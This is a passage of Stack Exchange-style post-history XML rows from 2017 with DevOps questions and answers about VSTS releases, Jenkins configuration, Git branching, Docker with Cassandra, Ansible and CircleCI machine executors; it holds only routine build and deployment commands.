  <row Id="5724" PostHistoryTypeId="2" PostId="1820" RevisionGUID="900a51b7-8a9e-4b16-8dd0-03a73615548b" CreationDate="2017-08-22T15:31:27.933" UserId="3062" Text="I have hosted VSO build agents building our exe and that pipeline setup.  I am trying to deploy the produced exe to a dev testing environment.  I have a deployment group set up and the files are being successfully copied to the correct location.  What I'm trying to do now is launch the exe after it was copied.  I have an inline powershell script task running consisting of&#xD;&#xA;&#xD;&#xA;    # You can write your powershell scripts inline here. &#xD;&#xA;    # You can also pass predefined and custom variables to this scripts using arguments&#xD;&#xA;&#xD;&#xA;    Param([int]$autoRelaunch)&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;    if($autoRelaunch)&#xD;&#xA;    {&#xD;&#xA;        Write-Host Relaunching exe;&#xD;&#xA;&#xD;&#xA;        &amp; 'PathToExe\MyExe.exe';&#xD;&#xA;    }&#xD;&#xA;&#xD;&#xA;    else&#xD;&#xA;    {&#xD;&#xA;        Write-Host Skipping launch of exe;&#xD;&#xA;    }&#xD;&#xA;&#xD;&#xA;the release log displays `Relaunching POS` but on the computer the script is running, the process isn't launched.  If I run `&amp; 'PathToExe\MyExe.exe'` via powershell on the computer from the A1 folder, the process starts as expected.  What am I missing?" ContentLicense="CC BY-SA 3.0" />
  <row Id="5725" PostHistoryTypeId="1" PostId="1820" RevisionGUID="900a51b7-8a9e-4b16-8dd0-03a73615548b" CreationDate="2017-08-22T15:31:27.933" UserId="3062" Text="VSO Release launch published exe" ContentLicense="CC BY-SA 3.0" />
  <row Id="5726" PostHistoryTypeId="3" PostId="1820" RevisionGUID="900a51b7-8a9e-4b16-8dd0-03a73615548b" CreationDate="2017-08-22T15:31:27.933" UserId="3062" Text="&lt;release-management&gt;&lt;powershell&gt;" ContentLicense="CC BY-SA 3.0" />
  <row Id="5727" PostHistoryTypeId="2" PostId="1821" RevisionGUID="a50639a2-d347-4592-8c87-47674b75d686" CreationDate="2017-08-22T16:24:48.207" UserId="2936" Text="[In this article][1] I noticed that only for TFS it is possible to generate, but I would like to generate the similar report using Visual Studio Team Services (VSTS). How to make?&#xD;&#xA;&#xD;&#xA;[![enter image description here][2]][2]&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://www.visualstudio.com/en-us/docs/report/sql-reports/perspective-code-analyze-report-code-churn-coverage&#xD;&#xA;  [2]: https://i.stack.imgur.com/4EvWT.png" ContentLicense="CC BY-SA 3.0" />
  <row Id="5728" PostHistoryTypeId="1" PostId="1821" RevisionGUID="a50639a2-d347-4592-8c87-47674b75d686" CreationDate="2017-08-22T16:24:48.207" UserId="2936" Text="How to generate Code Churn in VSTS?" ContentLicense="CC BY-SA 3.0" />
  <row Id="5729" PostHistoryTypeId="3" PostId="1821" RevisionGUID="a50639a2-d347-4592-8c87-47674b75d686" CreationDate="2017-08-22T16:24:48.207" UserId="2936" Text="&lt;project-management&gt;" ContentLicense="CC BY-SA 3.0" />
  <row Id="5730" PostHistoryTypeId="2" PostId="1822" RevisionGUID="1062048e-8a87-4ecd-9bdb-13c86ddcda80" CreationDate="2017-08-22T17:58:05.847" UserId="3646" Text="At my work we use git for our source control, MSBuild for our builds, and Jenkins for our CI. Our git repo will have different branches for the cycle of the product (develop, QA, release).&#xD;&#xA;&#xD;&#xA;My question is where should I store the msbuild xml? If I check it in alongside the product, say in develop and there's a feature branch, the file gets merged when a team does a merge from the parent. So that's not an option.&#xD;&#xA;&#xD;&#xA;I also want the build config to stay with the version of the product. So the build.xml will go from develop-&gt;QA-&gt;release.&#xD;&#xA;&#xD;&#xA;How is everyone else handling this?" ContentLicense="CC BY-SA 3.0" />
  <row Id="5731" PostHistoryTypeId="1" PostId="1822" RevisionGUID="1062048e-8a87-4ecd-9bdb-13c86ddcda80" CreationDate="2017-08-22T17:58:05.847" UserId="3646" Text="Where should I store my build configuration files?" ContentLicense="CC BY-SA 3.0" />
  <row Id="5732" PostHistoryTypeId="3" PostId="1822" RevisionGUID="1062048e-8a87-4ecd-9bdb-13c86ddcda80" CreationDate="2017-08-22T17:58:05.847" UserId="3646" Text="&lt;jenkins&gt;&lt;git&gt;&lt;release-management&gt;&lt;builds&gt;&lt;release&gt;" ContentLicense="CC BY-SA 3.0" />
  <row Id="5733" PostHistoryTypeId="2" PostId="1823" RevisionGUID="d2c879d7-9805-4a8f-b029-b878ec0d213d" CreationDate="2017-08-22T18:12:32.873" UserId="47" Text="I think that it's very difficult, if not impossible, to achieve something like this. &#xD;&#xA;&#xD;&#xA;The reason is that once the machine running Jenkins is connected to the VPN it is also effectively disconnected from the original network it was connected to, which means Jenkins on that machine will loose connection with the rest of your Jenkins setup.&#xD;&#xA;&#xD;&#xA;The only way that might work would be if using completely standalone one-machine Jenkins setups." ContentLicense="CC BY-SA 3.0" />
  <row Id="5734" PostHistoryTypeId="6" PostId="1820" RevisionGUID="1eaa7b39-2832-4be9-8e4a-32a61aa181df" CreationDate="2017-08-22T18:21:48.030" UserId="47" Comment="edited tags" Text="&lt;release-management&gt;&lt;powershell&gt;&lt;vsts&gt;&lt;azure-pipelines&gt;" ContentLicense="CC BY-SA 3.0" />
  <row Id="5735" PostHistoryTypeId="5" PostId="1821" RevisionGUID="d1dbd777-b2b6-42a0-b823-a5a4133fb688" CreationDate="2017-08-22T18:26:03.100" UserId="47" Comment="improved readability, added relevant tag" Text="[In this article][1] I noticed that is it possible to generate code churn reports for TFS:&#xD;&#xA;&#xD;&#xA;[![enter image description here][2]][2]&#xD;&#xA;&#xD;&#xA;I would like to generate the similar report using Visual Studio Team Services (VSTS). Is that possible and, if so, how?&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://www.visualstudio.com/en-us/docs/report/sql-reports/perspective-code-analyze-report-code-churn-coverage&#xD;&#xA;  [2]: https://i.stack.imgur.com/4EvWT.png" ContentLicense="CC BY-SA 3.0" />
  <row Id="5736" PostHistoryTypeId="6" PostId="1821" RevisionGUID="d1dbd777-b2b6-42a0-b823-a5a4133fb688" CreationDate="2017-08-22T18:26:03.100" UserId="47" Comment="improved readability, added relevant tag" Text="&lt;project-management&gt;&lt;azure-devops&gt;" ContentLicense="CC BY-SA 3.0" />
  <row Id="5737" PostHistoryTypeId="2" PostId="1824" RevisionGUID="5fcea9df-d018-4ee0-bcd7-365a1a111519" CreationDate="2017-08-22T18:43:40.873" UserId="47" Text="Normally the build configuration needs to stay consistent with the product code, so it should be stored into the same git repo as the product code.&#xD;&#xA;&#xD;&#xA;It's true, the file would get merged when a branch merge from the parent is performed. &#xD;&#xA;&#xD;&#xA;But often it's a trivial (empty/fast forward) merge - if there were no changes to the msbuild xml file in the parent branch. &#xD;&#xA;&#xD;&#xA;And if the merge is not a trivial one it means there were changes in the build process in the parent, which **need** to be taken into account in the child branch as well since it also picks up the code updates that go with those build changes. In other words the msbuild xml merge is **required** in such case to avoid build breakages.&#xD;&#xA;" ContentLicense="CC BY-SA 3.0" />
  <row Id="5738" PostHistoryTypeId="2" PostId="1825" RevisionGUID="c60c228b-22d3-430a-86a1-7b3626fa08bd" CreationDate="2017-08-22T18:51:47.390" UserId="3642" Text="The activities on the development and implementation of software previously did not require deep integration between the departments. But for today it is necessary to closely cooperate all departments (Devlopment, IT Operations, Quality Assurance, etc.).&#xD;&#xA;&#xD;&#xA;For developers, change is what they get paid for. Business always needs changes to match the modern world. This understanding pushes developers to produce the maximum possible number of changes. IT professionals have a different understanding, in which change is harm. Each of them thinks that it works correctly, benefiting the business. Indeed, if we consider them separately, they are both right.&#xD;&#xA;&#xD;&#xA;All employees must understand that they are part of a single process. DevOps cultivates thinking, which makes it possible to realize that the personal decisions and actions of everyone should be directed towards the realization of a single goal. And success should be measured relative to the entire development-to-delivery cycle, and not from the success of individual roles.&#xD;&#xA;As a result of close cooperation between developers and maintenance specialists, a new generation of engineers is formed, which take the best achievements of both disciplines and combine them for the benefit of the user. This is manifested in the appearance of cross-functional teams with experience in development, configuration management, database management, testing and infrastructure management.&#xD;&#xA;&#xD;&#xA;So the methodology is useful not only in SaaS." ContentLicense="CC BY-SA 3.0" />
  <row Id="5739" PostHistoryTypeId="2" PostId="1826" RevisionGUID="f8833d31-f233-4f85-a666-2a8d729bcac9" CreationDate="2017-08-22T18:59:26.337" UserId="3642" Text="You can read book about best practices for git: https://git-scm.com/book/en/v2&#xD;&#xA;&#xD;&#xA;Example for some git stragedy in project:&#xD;&#xA;&#xD;&#xA;1. Creates branch named like a task, feature/XXX-1&#xD;&#xA;2. Sending task for review&#xD;&#xA;3. If not review, fixes and again review&#xD;&#xA;4. If reviewed go to test&#xD;&#xA;5. If test not passed, fixed and again review/tests&#xD;&#xA;&#xD;&#xA;First time review:&#xD;&#xA;&#xD;&#xA;    git pull dev&#xD;&#xA;    git checkout -b feature/XXX-1&#xD;&#xA;    git add .&#xD;&#xA;    git commit -m 'XXX-1 My task'&#xD;&#xA;    git push origin feature/XXX-1&#xD;&#xA;&#xD;&#xA;If need fixed after review:&#xD;&#xA;&#xD;&#xA;    git push origin :feature/XXX-1&#xD;&#xA;    git reset --soft HEAD~1&#xD;&#xA;    git add .&#xD;&#xA;    git commit -m 'XXX-1 My task fix'&#xD;&#xA;    git push origin feature/XXX-1" ContentLicense="CC BY-SA 3.0" />
  <row Id="5740" PostHistoryTypeId="2" PostId="1827" RevisionGUID="145c1b65-0f68-48d5-be1b-d0b7884b2a60" CreationDate="2017-08-22T19:04:52.537" UserId="3642" Text="Absolutely immutable environment is a bad idea, i think.&#xD;&#xA;&#xD;&#xA;CM tools like Ansible, Chef, Puppet can be useful in many cases including yours.&#xD;&#xA;&#xD;&#xA;I'm using ansible for initial provisioning of VM instances in GCP." ContentLicense="CC BY-SA 3.0" />
  <row Id="5741" PostHistoryTypeId="5" PostId="1826" RevisionGUID="5669b52b-9c68-47c4-ad46-70f90de2b0c0" CreationDate="2017-08-22T19:06:52.237" UserId="3642" Comment="fix misspell" Text="You can read book about best practices for git: https://git-scm.com/book/en/v2&#xD;&#xA;&#xD;&#xA;Example for some git strategy in project:&#xD;&#xA;&#xD;&#xA;1. Creates branch named like a task, feature/XXX-1&#xD;&#xA;2. Sending task for review&#xD;&#xA;3. If not review, fixes and again review&#xD;&#xA;4. If reviewed go to test&#xD;&#xA;5. If test not passed, fixed and again review/tests&#xD;&#xA;&#xD;&#xA;First time review:&#xD;&#xA;&#xD;&#xA;    git pull dev&#xD;&#xA;    git checkout -b feature/XXX-1&#xD;&#xA;    git add .&#xD;&#xA;    git commit -m 'XXX-1 My task'&#xD;&#xA;    git push origin feature/XXX-1&#xD;&#xA;&#xD;&#xA;If need fixed after review:&#xD;&#xA;&#xD;&#xA;    git push origin :feature/XXX-1&#xD;&#xA;    git reset --soft HEAD~1&#xD;&#xA;    git add .&#xD;&#xA;    git commit -m 'XXX-1 My task fix'&#xD;&#xA;    git push origin feature/XXX-1" ContentLicense="CC BY-SA 3.0" />
  <row Id="5742" PostHistoryTypeId="5" PostId="1825" RevisionGUID="b1b74c9d-36d1-47a9-a537-93a82d04c4ab" CreationDate="2017-08-22T19:07:28.400" UserId="3642" Comment="added 1 character in body" Text="The activities on the development and implementation of software previously did not require deep integration between the departments. But for today it is necessary to closely cooperate all departments (Development, IT Operations, Quality Assurance, etc.).&#xD;&#xA;&#xD;&#xA;For developers, change is what they get paid for. Business always needs changes to match the modern world. This understanding pushes developers to produce the maximum possible number of changes. IT professionals have a different understanding, in which change is harm. Each of them thinks that it works correctly, benefiting the business. Indeed, if we consider them separately, they are both right.&#xD;&#xA;&#xD;&#xA;All employees must understand that they are part of a single process. DevOps cultivates thinking, which makes it possible to realize that the personal decisions and actions of everyone should be directed towards the realization of a single goal. And success should be measured relative to the entire development-to-delivery cycle, and not from the success of individual roles.&#xD;&#xA;As a result of close cooperation between developers and maintenance specialists, a new generation of engineers is formed, which take the best achievements of both disciplines and combine them for the benefit of the user. This is manifested in the appearance of cross-functional teams with experience in development, configuration management, database management, testing and infrastructure management.&#xD;&#xA;&#xD;&#xA;So the methodology is useful not only in SaaS." ContentLicense="CC BY-SA 3.0" />
  <row Id="5743" PostHistoryTypeId="2" PostId="1828" RevisionGUID="109e289f-56c3-41c2-9aed-5f6621e7dcfd" CreationDate="2017-08-22T21:59:45.727" UserId="3920" Text="My `JENKINS_HOME` is (something like) */var/lib/jenkins*&#xD;&#xA;&#xD;&#xA;In there, there is *jobs* directory, in it a subdirectory for each job. In each job subdirectory, you have `config.xml` plus the *builds* subdirectory.&#xD;&#xA;&#xD;&#xA;I would like to somehow separate my config.xml from the same file structure that contains builds so that I can check them in my version control but to not clutter its view by having all the build logs that each execution writes. If I change a job config, the corresponding config.xml is changed and I can (actually in a Jenkins job) check it in my version control automatically or if I change it manually in a text editor, it gets checked out and deployed. But I don't want the builds in the version management.&#xD;&#xA;&#xD;&#xA;Is there a way to separate just the job configs from the build logs in the filesystem?" ContentLicense="CC BY-SA 3.0" />
  <row Id="5744" PostHistoryTypeId="1" PostId="1828" RevisionGUID="109e289f-56c3-41c2-9aed-5f6621e7dcfd" CreationDate="2017-08-22T21:59:45.727" UserId="3920" Text="Separate Jenkins config from build logs" ContentLicense="CC BY-SA 3.0" />
  <row Id="5745" PostHistoryTypeId="3" PostId="1828" RevisionGUID="109e289f-56c3-41c2-9aed-5f6621e7dcfd" CreationDate="2017-08-22T21:59:45.727" UserId="3920" Text="&lt;jenkins&gt;" ContentLicense="CC BY-SA 3.0" />
  <row Id="5746" PostHistoryTypeId="2" PostId="1829" RevisionGUID="5778d6e8-0132-4241-a306-fd4acaaaf9d8" CreationDate="2017-08-22T22:38:39.033" UserId="47" Text="It *might* be possible, depending on your version control system.&#xD;&#xA;&#xD;&#xA;In Git, for example, for a dir structure like this:&#xD;&#xA;&#xD;&#xA;    dir_in_question/&#xD;&#xA;      .git/&#xD;&#xA;      .gitignore&#xD;&#xA;      builds/&#xD;&#xA;      config.xml&#xD;&#xA;&#xD;&#xA;I can prevent git from seeing any of the changes under the `builds` directory simply by adding inside `.gitignore` (which I prefer to add to the git as well) this line:&#xD;&#xA;&#xD;&#xA;    builds/" ContentLicense="CC BY-SA 3.0" />
  <row Id="5747" PostHistoryTypeId="5" PostId="1829" RevisionGUID="5f4fb122-d15e-4740-bf19-fbdd051d349b" CreationDate="2017-08-22T22:50:37.693" UserId="47" Comment="added another approach" Text="It *might* be possible, depending on your version control system.&#xD;&#xA;&#xD;&#xA;In Git, for example, for a dir structure like this:&#xD;&#xA;&#xD;&#xA;    dir_in_question/&#xD;&#xA;      .git/&#xD;&#xA;      .gitignore&#xD;&#xA;      builds/&#xD;&#xA;      config.xml&#xD;&#xA;&#xD;&#xA;I can prevent git from seeing any of the changes under the `builds` directory simply by adding inside `.gitignore` (which I prefer to add to the git as well) this line:&#xD;&#xA;&#xD;&#xA;    builds/&#xD;&#xA;&#xD;&#xA;Another thing to try would be to make `builds` a symlink to a location outside the version control system, typically another filesystem. As a side effect you'd gain protection against builds filling up the jenkins' filesystem :)" ContentLicense="CC BY-SA 3.0" />
  <row Id="5748" PostHistoryTypeId="2" PostId="1830" RevisionGUID="b2cc0483-53b9-4aac-953f-3e94eecb3693" CreationDate="2017-08-23T03:43:35.803" UserId="3797" Text="I'm getting a [bit][1] deeper into Gradle and want to further automate the process.  Generally speaking what are the approaches towards interacting with application servers?&#xD;&#xA;&#xD;&#xA;I'd want to automate deploying an `EAR`.  Is there even a need, or case to be made, to step out of Gradle for that purpose?&#xD;&#xA;&#xD;&#xA;I imagine it's much the same regardless whether it's `EAR` or `WAR` files and regardless of the specific application server -- but I'm using Glassfish.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://stackoverflow.com/q/45829987/262852" ContentLicense="CC BY-SA 3.0" />
  <row Id="5749" PostHistoryTypeId="1" PostId="1830" RevisionGUID="b2cc0483-53b9-4aac-953f-3e94eecb3693" CreationDate="2017-08-23T03:43:35.803" UserId="3797" Text="Is Gradle used to automate deployment of EAR and WAR files to application servers?" ContentLicense="CC BY-SA 3.0" />
  <row Id="5750" PostHistoryTypeId="3" PostId="1830" RevisionGUID="b2cc0483-53b9-4aac-953f-3e94eecb3693" CreationDate="2017-08-23T03:43:35.803" UserId="3797" Text="&lt;terminology&gt;&lt;deployment&gt;&lt;containers&gt;&lt;automation&gt;&lt;toolchain&gt;" ContentLicense="CC BY-SA 3.0" />
  <row Id="5751" PostHistoryTypeId="6" PostId="1830" RevisionGUID="fb07e212-356c-42fe-93a8-a57bfdff6dc8" CreationDate="2017-08-23T04:54:06.337" UserId="47" Comment="added relevant tag" Text="&lt;terminology&gt;&lt;deployment&gt;&lt;automation&gt;&lt;toolchain&gt;&lt;gradle&gt;" ContentLicense="CC BY-SA 3.0" />
  <row Id="5752" PostHistoryTypeId="2" PostId="1831" RevisionGUID="67d69ed7-b78e-4946-9251-1387511d631a" CreationDate="2017-08-23T05:09:32.343" UserId="707" Text="Being new to this topic, I have found quite many pros and cons about making data persistent while working with dockerized Cassandra. However, most of it was posted in 2016.&#xD;&#xA;&#xD;&#xA;Now, I understand that it can depend on the specific case, but already googling the very question reveals a lot of debate which appears sometimes opiniated (and maybe also historically related to earlier versions of Docker and Cassandra which might have been improving over time and will in future, but maybe there is a conceptual flaw). &#xD;&#xA;&#xD;&#xA;So I post this question to differentiate the pros and cons in a non-opiniated way in order to support finding a source or an answer which allows an architectural decision based on facts (or draws a working example, even for a specific case).&#xD;&#xA;&#xD;&#xA;Myself is quite biased to Docker but as a DevOps engineer I think I have to learn which things work and which not, also understanding the WHY behind *both*.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;*Pros or seems to be quite ok but to prove:*&#xD;&#xA;&#xD;&#xA; 1. Production, yes or no: is there an real-world example of a large-scale Cassandra in a Swarm/Kubernetes environment? I thought, initially, yes? &#xD;&#xA; 2. Guidelines like &quot;[Cassandra and Docker - Lessons learnt][1]&quot; (Slide 20)&#xD;&#xA; 3. [Docker Official Image packaging for Cassandra][2] on GitHub &#xD;&#xA;&#xD;&#xA;&#xD;&#xA;*Cons/Criticism:*&#xD;&#xA;&#xD;&#xA; 1. Articles like &quot;[Thou shall not run a database in container][3]&quot;  or &quot;[Why database are not for containers][5]&quot; ([related yc debate][4])&#xD;&#xA; 2. A colleague told me, Cassandra would store data associated with IP addresses and this makes usage of Docker/Cassandra not possible if you need data persistence - can't yet google up this but if there is no workaround this will make persistence impossible in my opinion.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;**Side note.** Sometimes they say also, &quot;don't do it in production #1, but integration environment is okay also without persistency #2&quot;. I want to learn more about #1 through this question and can't agree with #2 because sometimes you can have a huge effort to prepare already the sample data you need in the integration environment because the production data is yet bigger/complexer. &#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA; &#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://www.slideshare.net/planetcassandra/cassandra-and-docker-lessons-learnt&#xD;&#xA;  [2]: https://github.com/docker-library/cassandra&#xD;&#xA;  [3]: http://patrobinson.github.io/2016/11/07/thou-shalt-not-run-a-database-inside-a-container/&#xD;&#xA;  [4]: https://news.ycombinator.com/item?id=13582757&#xD;&#xA;  [5]: https://myopsblog.wordpress.com/2017/02/06/why-databases-is-not-for-containers/" ContentLicense="CC BY-SA 3.0" />
  <row Id="5753" PostHistoryTypeId="1" PostId="1831" RevisionGUID="67d69ed7-b78e-4946-9251-1387511d631a" CreationDate="2017-08-23T05:09:32.343" UserId="707" Text="Cassandra persistence with Docker - is an example of a non-opiniated, facts-based guideline for a deployment architecture available?" ContentLicense="CC BY-SA 3.0" />
  <row Id="5754" PostHistoryTypeId="3" PostId="1831" RevisionGUID="67d69ed7-b78e-4946-9251-1387511d631a" CreationDate="2017-08-23T05:09:32.343" UserId="707" Text="&lt;docker&gt;&lt;cassandra&gt;" ContentLicense="CC BY-SA 3.0" />
  <row Id="5755" PostHistoryTypeId="4" PostId="1831" RevisionGUID="a940f60e-c96f-4e91-8b64-3e6df887326d" CreationDate="2017-08-23T05:14:32.557" UserId="707" Comment="edited title" Text="Cassandra persistence with Docker - is an example of a comprehensive, up-to-date and facts-based guideline for a deployment architecture available?" ContentLicense="CC BY-SA 3.0" />
  <row Id="5756" PostHistoryTypeId="2" PostId="1832" RevisionGUID="0b1acd4e-c8ee-459f-83fa-ac77ded66d86" CreationDate="2017-08-23T05:42:01.830" UserId="2834" Text="We have a gitlab enterpise that host multiple project in one repo. Something like:&#xD;&#xA;&#xD;&#xA;    Repo/&#xD;&#xA;      projectA/&#xD;&#xA;      projectB/&#xD;&#xA;      projectC/&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;We have three pipelines that will run base on changes(whitelist region) when polling. They will start polling when received a `curl` via the `notifyCommit?` in another job.&#xD;&#xA;&#xD;&#xA;However, the pipeline can only work on `branch` that is run previously. &#xD;&#xA;&#xD;&#xA;I have also try to use parameters $branch on `branch to build` and update the `curl` job with parameters like:&#xD;&#xA;&#xD;&#xA;`http://ourjenkins/git/notifyCommit?url=git_url.git&amp;branch=$GIT_BRANCH`&#xD;&#xA;&#xD;&#xA;but, it still will only poll the last run branch. &#xD;&#xA;&#xD;&#xA;Does anyone know how we can have the declarative pipeline to poll multiple branches and run only base on whitelist directory changes?&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;" ContentLicense="CC BY-SA 3.0" />
  <row Id="5757" PostHistoryTypeId="1" PostId="1832" RevisionGUID="0b1acd4e-c8ee-459f-83fa-ac77ded66d86" CreationDate="2017-08-23T05:42:01.830" UserId="2834" Text="Declarative Jenkins Pipeline to Poll different branches?" ContentLicense="CC BY-SA 3.0" />
  <row Id="5758" PostHistoryTypeId="3" PostId="1832" RevisionGUID="0b1acd4e-c8ee-459f-83fa-ac77ded66d86" CreationDate="2017-08-23T05:42:01.830" UserId="2834" Text="&lt;jenkins&gt;&lt;continuous-integration&gt;&lt;jenkinsfile&gt;" ContentLicense="CC BY-SA 3.0" />
  <row Id="5759" PostHistoryTypeId="2" PostId="1833" RevisionGUID="41384877-e84b-4818-b457-400c6064f77b" CreationDate="2017-08-23T12:06:21.783" UserId="210" Text="If one adds a component from the catalog in Rancher and one would like to add another component than the list seems to be reduced. Why do some components vanish from the catalog list if one component has been installed in Rancher?" ContentLicense="CC BY-SA 3.0" />
  <row Id="5760" PostHistoryTypeId="1" PostId="1833" RevisionGUID="41384877-e84b-4818-b457-400c6064f77b" CreationDate="2017-08-23T12:06:21.783" UserId="210" Text="Why do some components vanish from the catalog list if one component has been installed in Rancher?" ContentLicense="CC BY-SA 3.0" />
  <row Id="5761" PostHistoryTypeId="3" PostId="1833" RevisionGUID="41384877-e84b-4818-b457-400c6064f77b" CreationDate="2017-08-23T12:06:21.783" UserId="210" Text="&lt;rancher&gt;" ContentLicense="CC BY-SA 3.0" />
  <row Id="5762" PostHistoryTypeId="2" PostId="1834" RevisionGUID="0868653c-4eb5-4a30-8e5c-0a7ac915b0e1" CreationDate="2017-08-23T12:10:59.153" UserId="736" Text="If you're interested in only backing up configs, try installing the [SCM Sync Configuration Plugin][1]. This plugin syncs with a repo each time you change either a job or the Jenkins configs, but does not keep builds.&#xD;&#xA;&#xD;&#xA;&gt; SCM Sync Configuration Jenkins/Hudson plugin is aimed at 2 main features :&#xD;&#xA;&#xD;&#xA;&gt; Keep sync'ed your config.xml (and other ressources) jenkins/hudson files with a SCM repository&#xD;&#xA;&#xD;&#xA;&gt; Track changes (and author) made on every file with commit messages&#xD;&#xA;&#xD;&#xA;As a bonus you can set it to take a commit message each time you change a job, for easier restoration if necessary. &#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://wiki.jenkins.io/display/JENKINS/SCM+Sync+configuration+plugin" ContentLicense="CC BY-SA 3.0" />
  <row Id="5763" PostHistoryTypeId="2" PostId="1835" RevisionGUID="8e734e5f-9da5-4506-9627-704c597e6726" CreationDate="2017-08-23T12:15:47.670" UserId="3721" Text="In ansible we are  runing playbook using ansible-playbook playbookname.yaml. the ouput will be like multiple lines.&#xD;&#xA;i need ouput in one line. i donot want multiple lines output" ContentLicense="CC BY-SA 3.0" />
  <row Id="5764" PostHistoryTypeId="1" PostId="1835" RevisionGUID="8e734e5f-9da5-4506-9627-704c597e6726" CreationDate="2017-08-23T12:15:47.670" UserId="3721" Text="in ansible when excute playbook i need ouput in one line" ContentLicense="CC BY-SA 3.0" />
  <row Id="5765" PostHistoryTypeId="3" PostId="1835" RevisionGUID="8e734e5f-9da5-4506-9627-704c597e6726" CreationDate="2017-08-23T12:15:47.670" UserId="3721" Text="&lt;ansible&gt;" ContentLicense="CC BY-SA 3.0" />
  <row Id="5766" PostHistoryTypeId="2" PostId="1836" RevisionGUID="9f2d7b67-b8d1-47ba-abb6-a592473d81e1" CreationDate="2017-08-23T12:18:56.637" UserId="4058" Text="CircleCI now allows you to use a [machine executor][1] which provisions a separate VM for you, with Ubuntu 14.04 and Docker version 17.06.0-ce installed. This allows you to turn on experimental features for the Docker daemon.&#xD;&#xA;&#xD;&#xA;To do this, setup your *.circleci/config.yml* file as follows:&#xD;&#xA;&#xD;&#xA;    version: 2&#xD;&#xA;    jobs:&#xD;&#xA;      build:&#xD;&#xA;        machine:&#xD;&#xA;          enabled: true&#xD;&#xA;          # Use Ubuntu 14.04 with bleeding edge Docker daemon 17.06.0-ce.&#xD;&#xA;          image: circleci/classic:edge&#xD;&#xA;        steps:&#xD;&#xA;          - checkout&#xD;&#xA;          - run:&#xD;&#xA;              command: |&#xD;&#xA;                # Restart Docker with experimental features on.&#xD;&#xA;                sudo sh -c 'echo '\''DOCKER_OPTS=&quot;--experimental=true&quot;'\'' &gt;&gt; /etc/default/docker'&#xD;&#xA;                sudo service docker restart&#xD;&#xA;&#xD;&#xA;                # Install dependencies for tests etc, as&#xD;&#xA;                # Ubuntu machine is quite bare.&#xD;&#xA;                sudo apt-get update&#xD;&#xA;                sudo apt-get install -y php5&#xD;&#xA;&#xD;&#xA;                # Needed to push built Docker images to registry.&#xD;&#xA;                docker login -u $DOCKER_USER -p $DOCKER_PASS&#xD;&#xA;&#xD;&#xA;                # Experimental features on, so we can use --squash now.&#xD;&#xA;                docker build --squash -t myuser/myimage .&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: CircleCI machine executor https://circleci.com/docs/2.0/configuration-reference/#machine" ContentLicense="CC BY-SA 3.0" />
  <row Id="5767" PostHistoryTypeId="5" PostId="1836" RevisionGUID="1161d30c-e0b7-48ef-8302-2b4bbd8edf01" CreationDate="2017-08-23T12:20:26.153" UserId="13" Comment="Fixed link" Text="CircleCI now allows you to use a [machine executor][1] which provisions a separate VM for you, with Ubuntu 14.04 and Docker version 17.06.0-ce installed. This allows you to turn on experimental features for the Docker daemon.&#xD;&#xA;&#xD;&#xA;To do this, setup your *.circleci/config.yml* file as follows:&#xD;&#xA;&#xD;&#xA;    version: 2&#xD;&#xA;    jobs:&#xD;&#xA;      build:&#xD;&#xA;        machine:&#xD;&#xA;          enabled: true&#xD;&#xA;          # Use Ubuntu 14.04 with bleeding edge Docker daemon 17.06.0-ce.&#xD;&#xA;          image: circleci/classic:edge&#xD;&#xA;        steps:&#xD;&#xA;          - checkout&#xD;&#xA;          - run:&#xD;&#xA;              command: |&#xD;&#xA;                # Restart Docker with experimental features on.&#xD;&#xA;                sudo sh -c 'echo '\''DOCKER_OPTS=&quot;--experimental=true&quot;'\'' &gt;&gt; /etc/default/docker'&#xD;&#xA;                sudo service docker restart&#xD;&#xA;&#xD;&#xA;                # Install dependencies for tests etc, as&#xD;&#xA;                # Ubuntu machine is quite bare.&#xD;&#xA;                sudo apt-get update&#xD;&#xA;                sudo apt-get install -y php5&#xD;&#xA;&#xD;&#xA;                # Needed to push built Docker images to registry.&#xD;&#xA;                docker login -u $DOCKER_USER -p $DOCKER_PASS&#xD;&#xA;&#xD;&#xA;                # Experimental features on, so we can use --squash now.&#xD;&#xA;                docker build --squash -t myuser/myimage .&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://circleci.com/docs/2.0/configuration-reference/#machine" ContentLicense="CC BY-SA 3.0" />
  <row Id="5768" PostHistoryTypeId="5" PostId="1836" RevisionGUID="387ffa0b-8591-4181-a4e8-ca8446683545" CreationDate="2017-08-23T12:28:13.503" UserId="4058" Comment="added 675 characters in body" Text="CircleCI now allows you to use a [machine executor][1] which provisions a separate VM for you, with Ubuntu 14.04 and Docker version 17.06.0-ce installed. This allows you to turn on experimental features for the Docker daemon.&#xD;&#xA;&#xD;&#xA;You need to use the `machine` key instead of the `docker` key, to run your job in a separate virtual machine instead of just a Docker container.&#xD;&#xA;&#xD;&#xA;You can only choose 2 images for the machine: Ubuntu 14.04 with Docker 17.03.0-ce, or Ubuntu 14.04 with Docker 17.06.0-ce - the one with experimental features.&#xD;&#xA;&#xD;&#xA;You'll also need to install dependencies on the machine yourself, as it is quite bare. For example, if you need PHP for your tests, you'll need to run `sudo apt-get install -y php5`.&#xD;&#xA;&#xD;&#xA;Here is a sample *.circleci/config.yml* that builds a Docker image using experimental feature `docker build --squash`:&#xD;&#xA;&#xD;&#xA;    version: 2&#xD;&#xA;    jobs:&#xD;&#xA;      build:&#xD;&#xA;        # Run in a separate virtual machine instead of a Docker container.&#xD;&#xA;        machine:&#xD;&#xA;          enabled: true&#xD;&#xA;          # Use Ubuntu 14.04 with bleeding edge Docker daemon 17.06.0-ce.&#xD;&#xA;          image: circleci/classic:edge&#xD;&#xA;        steps:&#xD;&#xA;          - checkout&#xD;&#xA;          - run:&#xD;&#xA;              command: |&#xD;&#xA;                # Restart Docker with experimental features on.&#xD;&#xA;                sudo sh -c 'echo '\''DOCKER_OPTS=&quot;--experimental=true&quot;'\'' &gt;&gt; 